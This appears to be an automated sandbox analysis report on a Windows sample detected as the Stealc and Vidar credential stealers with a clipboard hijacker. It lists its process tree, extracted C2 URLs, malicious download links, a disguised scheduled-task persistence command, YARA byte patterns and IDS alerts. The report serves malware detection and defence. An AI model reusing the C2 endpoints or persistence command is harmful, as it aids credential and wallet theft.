Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1508869
MD5:	328e2076801e0d783636eab1b2664845
SHA1:	e0522bde54b718ff684b7109c940680305653313
SHA256:	aa5fda8f2d38bc9f1f856b13235ba827f26d580e284675c89381197f283e1e77
Tags:	exe
Infos:

Detection

Clipboard Hijacker, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4208 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 328E2076801E0D783636EAB1B2664845)

conhost.exe (PID: 4112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6368 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6360 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6468 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6620 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6616 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 2828 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\CAKKJKKECF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

CAKKJKKECF.exe (PID: 3012 cmdline: "C:\ProgramData\CAKKJKKECF.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 6976 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 6536 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 2860 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.152.113.10/92335b4816f77e90.php"}

Threatname: Vidar

{"C2 url": "http://45.152.113.10/92335b4816f77e90.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000002.4505261287.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000A.00000002.2197159707.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4208	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6616	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6616	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
10.2.CAKKJKKECF.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
10.2.CAKKJKKECF.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
10.2.CAKKJKKECF.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentProcessId: 6536, ParentProcessName: oobeldr.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 2860, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\ProgramData\CAKKJKKECF.exe" , ParentImage: C:\ProgramData\CAKKJKKECF.exe, ParentProcessId: 3012, ParentProcessName: CAKKJKKECF.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 6976, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:13.720716+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49708	198.54.120.231	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:04.421926+0200	2044245	1	Malware Command and Control Activity Detected	45.152.113.10	80	192.168.2.5	49707	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:04.414859+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:04.550137+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:11.598895+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:04.887976+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:04.557703+0200	2044247	1	Malware Command and Control Activity Detected	45.152.113.10	80	192.168.2.5	49707	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:04.280900+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.152.113.10	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-10T19:36:05.017986+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:07.281139+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:07.921964+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:08.439506+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:08.893616+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:10.502378+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:10.872481+0200	2803304	3	Unknown Traffic	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:13.720716+0200	2803304	3	Unknown Traffic	192.168.2.5	49708	198.54.120.231	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://45.152.113.10/15a25e53742510fe/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.php5X	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/nss3.dllzz&V	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpop	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpe	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpp	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpllets	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.php	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/sqlite3.dllb	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/vcruntime140.dllK	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/msvcp140.dllB	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/nss3.dll	Avira URL Cloud: Label: malware
Source: https://evokeedgellc.com/app/l2.exe	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/sqlite3.dllz	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\CAKKJKKECF.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Found malware configuration

Source: 00000006.00000002.2195683776.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://45.152.113.10/92335b4816f77e90.php"}
Source: 0.2.file.exe.3d95570.0.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://45.152.113.10/92335b4816f77e90.php", "Botnet": "default"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\CAKKJKKECF.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	6_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	6_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	6_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	6_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	6_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CA26C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	6_2_6CA26C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_6CB7A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	6_2_6CB7A9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 198.54.120.231:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.6.dr, freebl3[1].dll.6.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.6.dr, freebl3[1].dll.6.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.6.dr, softokn3[1].dll.6.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.6.dr, vcruntime140[1].dll.6.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.6.dr, msvcp140.dll.6.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000006.00000002.2223067955.000000006CC4F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr
Source:	Binary string: .pdb8% source: file.exe
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.6.dr, softokn3[1].dll.6.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	6_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	6_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	6_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	6_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	6_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	6_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 6_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	6_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49707 -> 45.152.113.10:80
